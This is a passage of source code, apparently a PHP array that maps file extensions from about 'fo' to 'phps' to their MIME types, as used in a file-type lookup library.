=> ['application/vnd.software602.filler.form+xml', 'text/x-xslfo'], 'fodg' => ['application/vnd.oasis.opendocument.graphics-flat-xml'], 'fodp' => ['application/vnd.oasis.opendocument.presentation-flat-xml'], 'fods' => ['application/vnd.oasis.opendocument.spreadsheet-flat-xml'], 'fodt' => ['application/vnd.oasis.opendocument.text-flat-xml'], 'for' => ['text/x-fortran'], 'fpx' => ['image/vnd.fpx'], 'frame' => ['application/vnd.framemaker'], 'fsc' => ['application/vnd.fsc.weblaunch'], 'fst' => ['image/vnd.fst'], 'ftc' => ['application/vnd.fluxtime.clip'], 'fti' => ['application/vnd.anser-web-funds-transfer-initiation'], 'fvt' => ['video/vnd.fvt'], 'fxm' => ['video/x-javafx'], 'fxp' => ['application/vnd.adobe.fxp'], 'fxpl' => ['application/vnd.adobe.fxp'], 'fzs' => ['application/vnd.fuzzysheet'], 'g2w' => ['application/vnd.geoplan'], 'g3' => ['image/fax-g3', 'image/g3fax'], 'g3w' => ['application/vnd.geospace'], 'gac' => ['application/vnd.groove-account'], 'gam' => ['application/x-tads'], 'gb' => ['application/x-gameboy-rom'], 'gba' => ['application/x-gba-rom'], 'gbc' => ['application/x-gameboy-color-rom'], 'gbr' => ['application/rpki-ghostbusters', 'image/x-gimp-gbr'], 'gca' => ['application/x-gca-compressed'], 'gcode' => ['text/x.gcode'], 'gcrd' => ['text/directory', 'text/vcard', 'text/x-vcard'], 'gdi' => ['application/x-gd-rom-cue'], 'gdl' => ['model/vnd.gdl'], 'gdoc' => ['application/vnd.google-apps.document'], 'ged' => ['application/x-gedcom', 'text/gedcom'], 'gedcom' => ['application/x-gedcom', 'text/gedcom'], 'gem' => ['application/x-gtar', 'application/x-tar'], 'gen' => ['application/x-genesis-rom'], 'geo' => ['application/vnd.dynageo'], 'geo.json' => ['application/geo+json', 'application/vnd.geo+json'], 'geojson' => ['application/geo+json', 'application/vnd.geo+json'], 'gex' => ['application/vnd.geometry-explorer'], 'gf' => ['application/x-tex-gf'], 'gg' => ['application/x-gamegear-rom'], 'ggb' => ['application/vnd.geogebra.file'], 'ggt' => ['application/vnd.geogebra.tool'], 'ghf' => ['application/vnd.groove-help'], 'gif' => ['image/gif'], 'gih' => ['image/x-gimp-gih'], 'gim' => ['application/vnd.groove-identity-message'], 'glade' => ['application/x-glade'], 'glb' => ['model/gltf-binary'], 'gltf' => ['model/gltf+json'], 'gml' => ['application/gml+xml'], 'gmo' => ['application/x-gettext-translation'], 'gmx' => ['application/vnd.gmx'], 'gnc' => ['application/x-gnucash'], 'gnd' => ['application/gnunet-directory'], 'gnucash' => ['application/x-gnucash'], 'gnumeric' => ['application/x-gnumeric'], 'gnuplot' => ['application/x-gnuplot'], 'go' => ['text/x-go'], 'gp' => ['application/x-gnuplot'], 'gpg' => ['application/pgp', 'application/pgp-encrypted', 'application/pgp-keys', 'application/pgp-signature'], 'gph' => ['application/vnd.flographit'], 'gplt' => ['application/x-gnuplot'], 'gpx' => ['application/gpx', 'application/gpx+xml', 'application/x-gpx', 'application/x-gpx+xml'], 'gqf' => ['application/vnd.grafeq'], 'gqs' => ['application/vnd.grafeq'], 'gra' => ['application/x-graphite'], 'gradle' => ['text/x-gradle'], 'gram' => ['application/srgs'], 'gramps' => ['application/x-gramps-xml'], 'gre' => ['application/vnd.geometry-explorer'], 'groovy' => ['text/x-groovy'], 'grv' => ['application/vnd.groove-injector'], 'grxml' => ['application/srgs+xml'], 'gs' => ['text/x-genie'], 'gsf' => ['application/x-font-ghostscript', 'application/x-font-type1'], 'gsh' => ['text/x-groovy'], 'gsheet' => ['application/vnd.google-apps.spreadsheet'], 'gslides' => ['application/vnd.google-apps.presentation'], 'gsm' => ['audio/x-gsm'], 'gtar' => ['application/x-gtar', 'application/x-tar'], 'gtm' => ['application/vnd.groove-tool-message'], 'gtw' => ['model/vnd.gtw'], 'gv' => ['text/vnd.graphviz'], 'gvp' => ['text/google-video-pointer', 'text/x-google-video-pointer'], 'gvy' => ['text/x-groovy'], 'gxf' => ['application/gxf'], 'gxt' => ['application/vnd.geonext'], 'gy' => ['text/x-groovy'], 'gz' => ['application/x-gzip', 'application/gzip'], 'h' => ['text/x-c', 'text/x-chdr'], 'h++' => ['text/x-c++hdr'], 'h261' => ['video/h261'], 'h263' => ['video/h263'], 'h264' => ['video/h264'], 'h4' => ['application/x-hdf'], 'h5' => ['application/x-hdf'], 'hal' => ['application/vnd.hal+xml'], 'hbci' => ['application/vnd.hbci'], 'hbs' => ['text/x-handlebars-template'], 'hdd' => ['application/x-virtualbox-hdd'], 'hdf' => ['application/x-hdf'], 'hdf4' => ['application/x-hdf'], 'hdf5' => ['application/x-hdf'], 'heic' => ['image/heic', 'image/heic-sequence', 'image/heif', 'image/heif-sequence'], 'heics' => ['image/heic-sequence'], 'heif' => ['image/heic', 'image/heic-sequence', 'image/heif', 'image/heif-sequence'], 'heifs' => ['image/heif-sequence'], 'hej2' => ['image/hej2k'], 'held' => ['application/atsc-held+xml'], 'hfe' => ['application/x-hfe-file', 'application/x-hfe-floppy-image'], 'hh' => ['text/x-c', 'text/x-c++hdr'], 'hjson' => ['application/hjson'], 'hlp' => ['application/winhlp', 'zz-application/zz-winassoc-hlp'], 'hp' => ['text/x-c++hdr'], 'hpgl' => ['application/vnd.hp-hpgl'], 'hpid' => ['application/vnd.hp-hpid'], 'hpp' => ['text/x-c++hdr'], 'hps' => ['application/vnd.hp-hps'], 'hqx' => ['application/stuffit', 'application/mac-binhex40'], 'hs' => ['text/x-haskell'], 'hsj2' => ['image/hsj2'], 'htc' => ['text/x-component'], 'htke' => ['application/vnd.kenameaapp'], 'htm' => ['text/html', 'application/xhtml+xml'], 'html' => ['text/html', 'application/xhtml+xml'], 'hvd' => ['application/vnd.yamaha.hv-dic'], 'hvp' => ['application/vnd.yamaha.hv-voice'], 'hvs' => ['application/vnd.yamaha.hv-script'], 'hwp' => ['application/vnd.haansoft-hwp', 'application/x-hwp'], 'hwt' => ['application/vnd.haansoft-hwt', 'application/x-hwt'], 'hxx' => ['text/x-c++hdr'], 'i2g' => ['application/vnd.intergeo'], 'ica' => ['application/x-ica'], 'icb' => ['application/tga', 'application/x-targa', 'application/x-tga', 'image/targa', 'image/tga', 'image/x-icb', 'image/x-targa', 'image/x-tga'], 'icc' => ['application/vnd.iccprofile'], 'ice' => ['x-conference/x-cooltalk'], 'icm' => ['application/vnd.iccprofile'], 'icns' => ['image/x-icns'], 'ico' => ['application/ico', 'image/ico', 'image/icon', 'image/vnd.microsoft.icon', 'image/x-ico', 'image/x-icon', 'text/ico'], 'ics' => ['application/ics', 'text/calendar', 'text/x-vcalendar'], 'idl' => ['text/x-idl'], 'ief' => ['image/ief'], 'ifb' => ['text/calendar'], 'iff' => ['image/x-iff', 'image/x-ilbm'], 'ifm' => ['application/vnd.shana.informed.formdata'], 'iges' => ['model/iges'], 'igl' => ['application/vnd.igloader'], 'igm' => ['application/vnd.insors.igm'], 'igs' => ['model/iges'], 'igx' => ['application/vnd.micrografx.igx'], 'iif' => ['application/vnd.shana.informed.interchange'], 'ilbm' => ['image/x-iff', 'image/x-ilbm'], 'ime' => ['audio/imelody', 'audio/x-imelody', 'text/x-imelody'], 'img' => ['application/x-raw-disk-image'], 'img.xz' => ['application/x-raw-disk-image-xz-compressed'], 'imp' => ['application/vnd.accpac.simply.imp'], 'ims' => ['application/vnd.ms-ims'], 'imy' => ['audio/imelody', 'audio/x-imelody', 'text/x-imelody'], 'in' => ['text/plain'], 'ini' => ['text/plain'], 'ink' => ['application/inkml+xml'], 'inkml' => ['application/inkml+xml'], 'ins' => ['application/x-tex', 'text/x-tex'], 'install' => ['application/x-install-instructions'], 'iota' => ['application/vnd.astraea-software.iota'], 'ipfix' => ['application/ipfix'], 'ipk' => ['application/vnd.shana.informed.package'], 'ips' => ['application/x-ips-patch'], 'iptables' => ['text/x-iptables'], 'ipynb' => ['application/x-ipynb+json'], 'irm' => ['application/vnd.ibm.rights-management'], 'irp' => ['application/vnd.irepository.package+xml'], 'iso' => ['application/x-cd-image', 'application/x-dreamcast-rom', 'application/x-gamecube-iso-image', 'application/x-gamecube-rom', 'application/x-iso9660-image', 'application/x-saturn-rom', 'application/x-sega-cd-rom', 'application/x-sega-pico-rom', 'application/x-wbfs', 'application/x-wia', 'application/x-wii-iso-image', 'application/x-wii-rom'], 'iso9660' => ['application/x-cd-image', 'application/x-iso9660-image'], 'it' => ['audio/x-it'], 'it87' => ['application/x-it87'], 'itp' => ['application/vnd.shana.informed.formtemplate'], 'its' => ['application/its+xml'], 'ivp' => ['application/vnd.immervision-ivp'], 'ivu' => ['application/vnd.immervision-ivu'], 'j2c' => ['image/x-jp2-codestream'], 'j2k' => ['image/x-jp2-codestream'], 'jad' => ['text/vnd.sun.j2me.app-descriptor'], 'jade' => ['text/jade'], 'jam' => ['application/vnd.jam'], 'jar' => ['application/x-java-archive', 'application/java-archive', 'application/x-jar'], 'jardiff' => ['application/x-java-archive-diff'], 'java' => ['text/x-java', 'text/x-java-source'], 'jceks' => ['application/x-java-jce-keystore'], 'jhc' => ['image/jphc'], 'jisp' => ['application/vnd.jisp'], 'jks' => ['application/x-java-keystore'], 'jls' => ['image/jls'], 'jlt' => ['application/vnd.hp-jlyt'], 'jng' => ['image/x-jng'], 'jnlp' => ['application/x-java-jnlp-file'], 'joda' => ['application/vnd.joost.joda-archive'], 'jp2' => ['image/jp2', 'image/jpeg2000', 'image/jpeg2000-image', 'image/x-jpeg2000-image'], 'jpc' => ['image/x-jp2-codestream'], 'jpe' => ['image/jpeg', 'image/pjpeg'], 'jpeg' => ['image/jpeg', 'image/pjpeg'], 'jpf' => ['image/jpx'], 'jpg' => ['image/jpeg', 'image/pjpeg'], 'jpg2' => ['image/jp2', 'image/jpeg2000', 'image/jpeg2000-image', 'image/x-jpeg2000-image'], 'jpgm' => ['image/jpm', 'video/jpm'], 'jpgv' => ['video/jpeg'], 'jph' => ['image/jph'], 'jpm' => ['image/jpm', 'video/jpm'], 'jpr' => ['application/x-jbuilder-project'], 'jpx' => ['application/x-jbuilder-project', 'image/jpx'], 'jrd' => ['application/jrd+json'], 'js' => ['text/javascript', 'application/javascript', 'application/x-javascript'], 'jsm' => ['application/javascript', 'application/x-javascript', 'text/javascript'], 'json' => ['application/json', 'application/schema+json'], 'json-patch' => ['application/json-patch+json'], 'json5' => ['application/json5'], 'jsonld' => ['application/ld+json'], 'jsonml' => ['application/jsonml+json'], 'jsx' => ['text/jsx'], 'jxl' => ['image/jxl'], 'jxr' => ['image/jxr'], 'jxra' => ['image/jxra'], 'jxrs' => ['image/jxrs'], 'jxs' => ['image/jxs'], 'jxsc' => ['image/jxsc'], 'jxsi' => ['image/jxsi'], 'jxss' => ['image/jxss'], 'k25' => ['image/x-kodak-k25'], 'k7' => ['application/x-thomson-cassette'], 'kar' => ['audio/midi', 'audio/x-midi'], 'karbon' => ['application/vnd.kde.karbon', 'application/x-karbon'], 'kdbx' => ['application/x-keepass2'], 'kdc' => ['image/x-kodak-kdc'], 'kdelnk' => ['application/x-desktop', 'application/x-gnome-app-info'], 'kexi' => ['application/x-kexiproject-sqlite', 'application/x-kexiproject-sqlite2', 'application/x-kexiproject-sqlite3', 'application/x-vnd.kde.kexi'], 'kexic' => ['application/x-kexi-connectiondata'], 'kexis' => ['application/x-kexiproject-shortcut'], 'key' => ['application/vnd.apple.keynote', 'application/pgp-keys', 'application/x-iwork-keynote-sffkey'], 'keynote' => ['application/vnd.apple.keynote'], 'kfo' => ['application/vnd.kde.kformula', 'application/x-kformula'], 'kfx' => ['application/vnd.amazon.mobi8-ebook', 'application/x-mobi8-ebook'], 'kia' => ['application/vnd.kidspiration'], 'kil' => ['application/x-killustrator'], 'kino' => ['application/smil', 'application/smil+xml'], 'kml' => ['application/vnd.google-earth.kml+xml'], 'kmz' => ['application/vnd.google-earth.kmz'], 'kne' => ['application/vnd.kinar'], 'knp' => ['application/vnd.kinar'], 'kon' => ['application/vnd.kde.kontour', 'application/x-kontour'], 'kpm' => ['application/x-kpovmodeler'], 'kpr' => ['application/vnd.kde.kpresenter', 'application/x-kpresenter'], 'kpt' => ['application/vnd.kde.kpresenter', 'application/x-kpresenter'], 'kpxx' => ['application/vnd.ds-keypoint'], 'kra' => ['application/x-krita'], 'krz' => ['application/x-krita'], 'ks' => ['application/x-java-keystore'], 'ksp' => ['application/vnd.kde.kspread', 'application/x-kspread'], 'ksy' => ['text/x-kaitai-struct'], 'kt' => ['text/x-kotlin'], 'ktr' => ['application/vnd.kahootz'], 'ktx' => ['image/ktx'], 'ktx2' => ['image/ktx2'], 'ktz' => ['application/vnd.kahootz'], 'kud' => ['application/x-kugar'], 'kwd' => ['application/vnd.kde.kword', 'application/x-kword'], 'kwt' => ['application/vnd.kde.kword', 'application/x-kword'], 'la' => ['application/x-shared-library-la'], 'lasxml' => ['application/vnd.las.las+xml'], 'latex' => ['application/x-latex', 'application/x-tex', 'text/x-tex'], 'lbd' => ['application/vnd.llamagraphics.life-balance.desktop'], 'lbe' => ['application/vnd.llamagraphics.life-balance.exchange+xml'], 'lbm' => ['image/x-iff', 'image/x-ilbm'], 'ldif' => ['text/x-ldif'], 'les' => ['application/vnd.hhe.lesson-player'], 'less' => ['text/less'], 'lgr' => ['application/lgr+xml'], 'lha' => ['application/x-lha', 'application/x-lzh-compressed'], 'lhs' => ['text/x-literate-haskell'], 'lhz' => ['application/x-lhz'], 'link66' => ['application/vnd.route66.link66+xml'], 'lisp' => ['text/x-common-lisp'], 'list' => ['text/plain'], 'list3820' => ['application/vnd.ibm.modcap'], 'listafp' => ['application/vnd.ibm.modcap'], 'litcoffee' => ['text/coffeescript'], 'lnk' => ['application/x-ms-shortcut'], 'lnx' => ['application/x-atari-lynx-rom'], 'loas' => ['audio/usac'], 'log' => ['text/plain', 'text/x-log'], 'lostxml' => ['application/lost+xml'], 'lrm' => ['application/vnd.ms-lrm'], 'lrv' => ['video/mp4', 'video/mp4v-es', 'video/x-m4v'], 'lrz' => ['application/x-lrzip'], 'ltf' => ['application/vnd.frogans.ltf'], 'ltx' => ['application/x-tex', 'text/x-tex'], 'lua' => ['text/x-lua'], 'luac' => ['application/x-lua-bytecode'], 'lvp' => ['audio/vnd.lucent.voice'], 'lwo' => ['image/x-lwo'], 'lwob' => ['image/x-lwo'], 'lwp' => ['application/vnd.lotus-wordpro'], 'lws' => ['image/x-lws'], 'ly' => ['text/x-lilypond'], 'lyx' => ['application/x-lyx', 'text/x-lyx'], 'lz' => ['application/x-lzip'], 'lz4' => ['application/x-lz4'], 'lzh' => ['application/x-lha', 'application/x-lzh-compressed'], 'lzma' => ['application/x-lzma'], 'lzo' => ['application/x-lzop'], 'm' => ['text/x-matlab', 'text/x-objcsrc', 'text/x-octave'], 'm13' => ['application/x-msmediaview'], 'm14' => ['application/x-msmediaview'], 'm15' => ['audio/x-mod'], 'm1u' => ['video/vnd.mpegurl', 'video/x-mpegurl'], 'm1v' => ['video/mpeg'], 'm21' => ['application/mp21'], 'm2a' => ['audio/mpeg'], 'm2t' => ['video/mp2t'], 'm2ts' => ['video/mp2t'], 'm2v' => ['video/mpeg'], 'm3a' => ['audio/mpeg'], 'm3u' => ['audio/x-mpegurl', 'application/m3u', 'application/vnd.apple.mpegurl', 'audio/m3u', 'audio/mpegurl', 'audio/x-m3u', 'audio/x-mp3-playlist'], 'm3u8' => ['application/m3u', 'application/vnd.apple.mpegurl', 'audio/m3u', 'audio/mpegurl', 'audio/x-m3u', 'audio/x-mp3-playlist', 'audio/x-mpegurl'], 'm4' => ['application/x-m4'], 'm4a' => ['audio/mp4', 'audio/m4a', 'audio/x-m4a'], 'm4b' => ['audio/x-m4b'], 'm4p' => ['application/mp4'], 'm4r' => ['audio/x-m4r'], 'm4s' => ['video/iso.segment'], 'm4u' => ['video/vnd.mpegurl', 'video/x-mpegurl'], 'm4v' => ['video/mp4', 'video/mp4v-es', 'video/x-m4v'], 'm7' => ['application/x-thomson-cartridge-memo7'], 'ma' => ['application/mathematica'], 'mab' => ['application/x-markaby'], 'mads' => ['application/mads+xml'], 'maei' => ['application/mmt-aei+xml'], 'mag' => ['application/vnd.ecowin.chart'], 'mak' => ['text/x-makefile'], 'maker' => ['application/vnd.framemaker'], 'man' => ['application/x-troff-man', 'text/troff'], 'manifest' => ['text/cache-manifest'], 'map' => ['application/json'], 'markdown' => ['text/markdown', 'text/x-markdown'], 'mathml' => ['application/mathml+xml'], 'mb' => ['application/mathematica'], 'mbk' => ['application/vnd.mobius.mbk'], 'mbox' => ['application/mbox'], 'mc1' => ['application/vnd.medcalcdata'], 'mc2' => ['text/vnd.senx.warpscript'], 'mcd' => ['application/vnd.mcd'], 'mcurl' => ['text/vnd.curl.mcurl'], 'md' => ['text/markdown', 'text/x-markdown'], 'mdb' => ['application/x-msaccess', 'application/mdb', 'application/msaccess', 'application/vnd.ms-access', 'application/vnd.msaccess', 'application/x-mdb', 'zz-application/zz-winassoc-mdb'], 'mdi' => ['image/vnd.ms-modi'], 'mdx' => ['application/x-genesis-32x-rom', 'text/mdx'], 'me' => ['text/troff', 'text/x-troff-me'], 'med' => ['audio/x-mod'], 'mesh' => ['model/mesh'], 'meta4' => ['application/metalink4+xml'], 'metalink' => ['application/metalink+xml'], 'mets' => ['application/mets+xml'], 'mfm' => ['application/vnd.mfmp'], 'mft' => ['application/rpki-manifest'], 'mgp' => ['application/vnd.osgeo.mapguide.package', 'application/x-magicpoint'], 'mgz' => ['application/vnd.proteus.magazine'], 'mht' => ['application/x-mimearchive'], 'mhtml' => ['application/x-mimearchive'], 'mid' => ['audio/midi', 'audio/x-midi'], 'midi' => ['audio/midi', 'audio/x-midi'], 'mie' => ['application/x-mie'], 'mif' => ['application/vnd.mif', 'application/x-mif'], 'mime' => ['message/rfc822'], 'minipsf' => ['audio/x-minipsf'], 'mj2' => ['video/mj2'], 'mjp2' => ['video/mj2'], 'mjpeg' => ['video/x-mjpeg'], 'mjpg' => ['video/x-mjpeg'], 'mjs' => ['application/javascript', 'application/x-javascript', 'text/javascript'], 'mk' => ['text/x-makefile'], 'mk3d' => ['video/x-matroska', 'video/x-matroska-3d'], 'mka' => ['audio/x-matroska'], 'mkd' => ['text/markdown', 'text/x-markdown'], 'mks' => ['video/x-matroska'], 'mkv' => ['video/x-matroska'], 'ml' => ['text/x-ocaml'], 'mli' => ['text/x-ocaml'], 'mlp' => ['application/vnd.dolby.mlp'], 'mm' => ['text/x-troff-mm'], 'mmd' => ['application/vnd.chipnuts.karaoke-mmd'], 'mmf' => ['application/vnd.smaf', 'application/x-smaf'], 'mml' => ['application/mathml+xml', 'text/mathml'], 'mmr' => ['image/vnd.fujixerox.edmics-mmr'], 'mng' => ['video/x-mng'], 'mny' => ['application/x-msmoney'], 'mo' => ['application/x-gettext-translation', 'text/x-modelica'], 'mo3' => ['audio/x-mo3'], 'mobi' => ['application/x-mobipocket-ebook'], 'moc' => ['text/x-moc'], 'mod' => ['application/x-object', 'audio/x-mod'], 'mods' => ['application/mods+xml'], 'mof' => ['text/x-mof'], 'moov' => ['video/quicktime'], 'mount' => ['text/x-systemd-unit'], 'mov' => ['video/quicktime'], 'movie' => ['video/x-sgi-movie'], 'mp+' => ['audio/x-musepack'], 'mp2' => ['audio/mp2', 'audio/mpeg', 'audio/x-mp2', 'video/mpeg', 'video/mpeg-system', 'video/x-mpeg', 'video/x-mpeg-system', 'video/x-mpeg2'], 'mp21' => ['application/mp21'], 'mp2a' => ['audio/mpeg'], 'mp3' => ['audio/mpeg', 'audio/mp3', 'audio/x-mp3', 'audio/x-mpeg', 'audio/x-mpg'], 'mp4' => ['video/mp4', 'video/mp4v-es', 'video/x-m4v'], 'mp4a' => ['audio/mp4'], 'mp4s' => ['application/mp4'], 'mp4v' => ['video/mp4'], 'mpc' => ['application/vnd.mophun.certificate', 'audio/x-musepack'], 'mpd' => ['application/dash+xml'], 'mpe' => ['video/mpeg', 'video/mpeg-system', 'video/x-mpeg', 'video/x-mpeg-system', 'video/x-mpeg2'], 'mpeg' => ['video/mpeg', 'video/mpeg-system', 'video/x-mpeg', 'video/x-mpeg-system', 'video/x-mpeg2'], 'mpg' => ['video/mpeg', 'video/mpeg-system', 'video/x-mpeg', 'video/x-mpeg-system', 'video/x-mpeg2'], 'mpg4' => ['video/mp4'], 'mpga' => ['audio/mp3', 'audio/mpeg', 'audio/x-mp3', 'audio/x-mpeg', 'audio/x-mpg'], 'mpkg' => ['application/vnd.apple.installer+xml'], 'mpl' => ['video/mp2t'], 'mpls' => ['video/mp2t'], 'mpm' => ['application/vnd.blueice.multipass'], 'mpn' => ['application/vnd.mophun.application'], 'mpp' => ['application/vnd.ms-project', 'audio/x-musepack'], 'mpt' => ['application/vnd.ms-project'], 'mpy' => ['application/vnd.ibm.minipay'], 'mqy' => ['application/vnd.mobius.mqy'], 'mrc' => ['application/marc'], 'mrcx' => ['application/marcxml+xml'], 'mrl' => ['text/x-mrml'], 'mrml' => ['text/x-mrml'], 'mrw' => ['image/x-minolta-mrw'], 'ms' => ['text/troff', 'text/x-troff-ms'], 'mscml' => ['application/mediaservercontrol+xml'], 'mseed' => ['application/vnd.fdsn.mseed'], 'mseq' => ['application/vnd.mseq'], 'msf' => ['application/vnd.epson.msf'], 'msg' => ['application/vnd.ms-outlook'], 'msh' => ['model/mesh'], 'msi' => ['application/x-msdownload', 'application/x-msi'], 'msl' => ['application/vnd.mobius.msl'], 'msod' => ['image/x-msod'], 'msty' => ['application/vnd.muvee.style'], 'msx' => ['application/x-msx-rom'], 'mtl' => ['model/mtl'], 'mtm' => ['audio/x-mod'], 'mts' => ['model/vnd.mts', 'video/mp2t'], 'mup' => ['text/x-mup'], 'mus' => ['application/vnd.musician'], 'musd' => ['application/mmt-usd+xml'], 'musicxml' => ['application/vnd.recordare.musicxml+xml'], 'mvb' => ['application/x-msmediaview'], 'mvt' => ['application/vnd.mapbox-vector-tile'], 'mwf' => ['application/vnd.mfer'], 'mxf' => ['application/mxf'], 'mxl' => ['application/vnd.recordare.musicxml'], 'mxmf' => ['audio/mobile-xmf'], 'mxml' => ['application/xv+xml'], 'mxs' => ['application/vnd.triscape.mxs'], 'mxu' => ['video/vnd.mpegurl', 'video/x-mpegurl'], 'n-gage' => ['application/vnd.nokia.n-gage.symbian.install'], 'n3' => ['text/n3'], 'n64' => ['application/x-n64-rom'], 'nb' => ['application/mathematica', 'application/x-mathematica'], 'nbp' => ['application/vnd.wolfram.player'], 'nc' => ['application/x-netcdf'], 'ncx' => ['application/x-dtbncx+xml'], 'nds' => ['application/x-nintendo-ds-rom'], 'nef' => ['image/x-nikon-nef'], 'nes' => ['application/x-nes-rom'], 'nez' => ['application/x-nes-rom'], 'nfo' => ['text/x-nfo'], 'ngc' => ['application/x-neo-geo-pocket-color-rom'], 'ngdat' => ['application/vnd.nokia.n-gage.data'], 'ngp' => ['application/x-neo-geo-pocket-rom'], 'nitf' => ['application/vnd.nitf'], 'nlu' => ['application/vnd.neurolanguage.nlu'], 'nml' => ['application/vnd.enliven'], 'nnd' => ['application/vnd.noblenet-directory'], 'nns' => ['application/vnd.noblenet-sealer'], 'nnw' => ['application/vnd.noblenet-web'], 'not' => ['text/x-mup'], 'npx' => ['image/vnd.net-fpx'], 'nq' => ['application/n-quads'], 'nrw' => ['image/x-nikon-nrw'], 'nsc' => ['application/x-conference', 'application/x-netshow-channel'], 'nsf' => ['application/vnd.lotus-notes'], 'nsv' => ['video/x-nsv'], 'nt' => ['application/n-triples'], 'ntf' => ['application/vnd.nitf'], 'numbers' => ['application/vnd.apple.numbers', 'application/x-iwork-numbers-sffnumbers'], 'nzb' => ['application/x-nzb'], 'o' => ['application/x-object'], 'oa2' => ['application/vnd.fujitsu.oasys2'], 'oa3' => ['application/vnd.fujitsu.oasys3'], 'oas' => ['application/vnd.fujitsu.oasys'], 'obd' => ['application/x-msbinder'], 'obgx' => ['application/vnd.openblox.game+xml'], 'obj' => ['application/x-tgif', 'model/obj'], 'ocl' => ['text/x-ocl'], 'oda' => ['application/oda'], 'odb' => ['application/vnd.oasis.opendocument.database', 'application/vnd.sun.xml.base'], 'odc' => ['application/vnd.oasis.opendocument.chart'], 'odf' => ['application/vnd.oasis.opendocument.formula'], 'odft' => ['application/vnd.oasis.opendocument.formula-template'], 'odg' => ['application/vnd.oasis.opendocument.graphics'], 'odi' => ['application/vnd.oasis.opendocument.image'], 'odm' => ['application/vnd.oasis.opendocument.text-master'], 'odp' => ['application/vnd.oasis.opendocument.presentation'], 'ods' => ['application/vnd.oasis.opendocument.spreadsheet'], 'odt' => ['application/vnd.oasis.opendocument.text'], 'oga' => ['audio/ogg', 'audio/vorbis', 'audio/x-flac+ogg', 'audio/x-ogg', 'audio/x-oggflac', 'audio/x-speex+ogg', 'audio/x-vorbis', 'audio/x-vorbis+ogg'], 'ogex' => ['model/vnd.opengex'], 'ogg' => ['audio/ogg', 'audio/vorbis', 'audio/x-flac+ogg', 'audio/x-ogg', 'audio/x-oggflac', 'audio/x-speex+ogg', 'audio/x-vorbis', 'audio/x-vorbis+ogg', 'video/ogg', 'video/x-ogg', 'video/x-theora', 'video/x-theora+ogg'], 'ogm' => ['video/x-ogm', 'video/x-ogm+ogg'], 'ogv' => ['video/ogg', 'video/x-ogg'], 'ogx' => ['application/ogg', 'application/x-ogg'], 'old' => ['application/x-trash'], 'oleo' => ['application/x-oleo'], 'omdoc' => ['application/omdoc+xml'], 'onepkg' => ['application/onenote'], 'onetmp' => ['application/onenote'], 'onetoc' => ['application/onenote'], 'onetoc2' => ['application/onenote'], 'ooc' => ['text/x-ooc'], 'opf' => ['application/oebps-package+xml'], 'opml' => ['text/x-opml', 'text/x-opml+xml'], 'oprc' => ['application/vnd.palm', 'application/x-palm-database'], 'opus' => ['audio/ogg', 'audio/x-ogg', 'audio/x-opus+ogg'], 'ora' => ['image/openraster'], 'orf' => ['image/x-olympus-orf'], 'org' => ['application/vnd.lotus-organizer', 'text/org', 'text/x-org'], 'osf' => ['application/vnd.yamaha.openscoreformat'], 'osfpvg' => ['application/vnd.yamaha.openscoreformat.osfpvg+xml'], 'osm' => ['application/vnd.openstreetmap.data+xml'], 'otc' => ['application/vnd.oasis.opendocument.chart-template'], 'otf' => ['application/vnd.oasis.opendocument.formula-template', 'application/x-font-otf', 'font/otf'], 'otg' => ['application/vnd.oasis.opendocument.graphics-template'], 'oth' => ['application/vnd.oasis.opendocument.text-web'], 'oti' => ['application/vnd.oasis.opendocument.image-template'], 'otp' => ['application/vnd.oasis.opendocument.presentation-template'], 'ots' => ['application/vnd.oasis.opendocument.spreadsheet-template'], 'ott' => ['application/vnd.oasis.opendocument.text-template'], 'ova' => ['application/ovf', 'application/x-virtualbox-ova'], 'ovf' => ['application/x-virtualbox-ovf'], 'owl' => ['application/rdf+xml', 'text/rdf'], 'owx' => ['application/owl+xml'], 'oxps' => ['application/oxps'], 'oxt' => ['application/vnd.openofficeorg.extension'], 'p' => ['text/x-pascal'], 'p10' => ['application/pkcs10'], 'p12' => ['application/pkcs12', 'application/x-pkcs12'], 'p65' => ['application/x-pagemaker'], 'p7b' => ['application/x-pkcs7-certificates'], 'p7c' => ['application/pkcs7-mime'], 'p7m' => ['application/pkcs7-mime'], 'p7r' => ['application/x-pkcs7-certreqresp'], 'p7s' => ['application/pkcs7-signature'], 'p8' => ['application/pkcs8'], 'p8e' => ['application/pkcs8-encrypted'], 'pac' => ['application/x-ns-proxy-autoconfig'], 'pack' => ['application/x-java-pack200'], 'pages' => ['application/vnd.apple.pages', 'application/x-iwork-pages-sffpages'], 'pak' => ['application/x-pak'], 'par2' => ['application/x-par2'], 'part' => ['application/x-partial-download'], 'pas' => ['text/x-pascal'], 'pat' => ['image/x-gimp-pat'], 'patch' => ['text/x-diff', 'text/x-patch'], 'path' => ['text/x-systemd-unit'], 'paw' => ['application/vnd.pawaafile'], 'pbd' => ['application/vnd.powerbuilder6'], 'pbm' => ['image/x-portable-bitmap'], 'pcap' => ['application/pcap', 'application/vnd.tcpdump.pcap', 'application/x-pcap'], 'pcd' => ['image/x-photo-cd'], 'pce' => ['application/x-pc-engine-rom'], 'pcf' => ['application/x-cisco-vpn-settings', 'application/x-font-pcf'], 'pcf.Z' => ['application/x-font-pcf'], 'pcf.gz' => ['application/x-font-pcf'], 'pcl' => ['application/vnd.hp-pcl'], 'pclxl' => ['application/vnd.hp-pclxl'], 'pct' => ['image/x-pict'], 'pcurl' => ['application/vnd.curl.pcurl'], 'pcx' => ['image/vnd.zbrush.pcx', 'image/x-pcx'], 'pdb' => ['application/vnd.palm', 'application/x-aportisdoc', 'application/x-palm-database', 'application/x-pilot'], 'pdc' => ['application/x-aportisdoc'], 'pde' => ['text/x-processing'], 'pdf' => ['application/pdf', 'application/acrobat', 'application/nappdf', 'application/x-pdf', 'image/pdf'], 'pdf.bz2' => ['application/x-bzpdf'], 'pdf.gz' => ['application/x-gzpdf'], 'pdf.lz' => ['application/x-lzpdf'], 'pdf.xz' => ['application/x-xzpdf'], 'pef' => ['image/x-pentax-pef'], 'pem' => ['application/x-x509-ca-cert'], 'perl' => ['application/x-perl', 'text/x-perl'], 'pfa' => ['application/x-font-type1'], 'pfb' => ['application/x-font-type1'], 'pfm' => ['application/x-font-type1'], 'pfr' => ['application/font-tdpfr'], 'pfx' => ['application/pkcs12', 'application/x-pkcs12'], 'pgm' => ['image/x-portable-graymap'], 'pgn' => ['application/vnd.chess-pgn', 'application/x-chess-pgn'], 'pgp' => ['application/pgp', 'application/pgp-encrypted', 'application/pgp-keys', 'application/pgp-signature'], 'php' => ['application/x-php', 'application/x-httpd-php'], 'php3' => ['application/x-php'], 'php4' => ['application/x-php'], 'php5' => ['application/x-php'], 'phps' => 